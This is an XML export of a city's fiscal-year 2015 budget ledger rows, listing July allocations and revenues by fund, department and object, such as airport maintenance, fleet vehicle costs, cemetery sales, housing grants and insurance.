<row _id="15997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544460.0</object><object_description>HOMELESS COUNT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4121.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4121.0</total></row>
<row _id="15998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>270.0</total></row>
<row _id="16002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>629.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>629.0</total></row>
<row _id="16003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>460.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>460.0</total></row>
<row _id="16004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120.0</total></row>
<row _id="16005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533260.0</object><object_description>NON-AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>113028.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>113028.0</total></row>
<row _id="16007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>404940.0</object><object_description>AB2766 MBILE SRCE AIR POLL FEE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-110000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="16008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>538277.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>538277.0</total></row>
<row _id="16009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>50910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50910.0</total></row>
<row _id="16010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4221.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4221.0</total></row>
<row _id="16011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3009.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3009.0</total></row>
<row _id="16012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15110.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15110.0</total></row>
<row _id="16013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522920.0</object><object_description>COMMERCIAL VEHICLE REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>270000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>270000.0</total></row>
<row _id="16015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>149000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>149000.0</total></row>
<row _id="16016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>30005.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30005.0</total></row>
<row _id="16017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1325.0</total></row>
<row _id="16018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13777.0</total></row>
<row _id="16019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1352.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1352.0</total></row>
<row _id="16020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2693850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2693850.0</total></row>
<row _id="16021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402270.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-67850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67850.0</total></row>
<row _id="16022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3278.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3278.0</total></row>
<row _id="16023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="16024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="16025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-64741.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-64741.0</total></row>
<row _id="16026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-312373.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-312373.0</total></row>
<row _id="16027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-185901.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-185901.0</total></row>
<row _id="16028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402510.0</object><object_description>COMM &amp; TRIBUTE PROG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="16029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402780.0</object><object_description>CASKET SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-102271.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-102271.0</total></row>
<row _id="16033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402790.0</object><object_description>VAULT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-53502.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-53502.0</total></row>
<row _id="16034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556170.0</object><object_description>SOLD FLOWERS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="16035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556190.0</object><object_description>MISC SERVICES/SALES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>34300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34300.0</total></row>
<row _id="16036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4777.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4777.0</total></row>
<row _id="16037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>333264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>333264.0</total></row>
<row _id="16038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>36740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36740.0</total></row>
<row _id="16039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4458.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4458.0</total></row>
<row _id="16040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2340.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2340.0</total></row>
<row _id="16041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1222173.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1222173.0</total></row>
<row _id="16042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5812.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5812.0</total></row>
<row _id="16043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8620.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8620.0</total></row>
<row _id="16044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
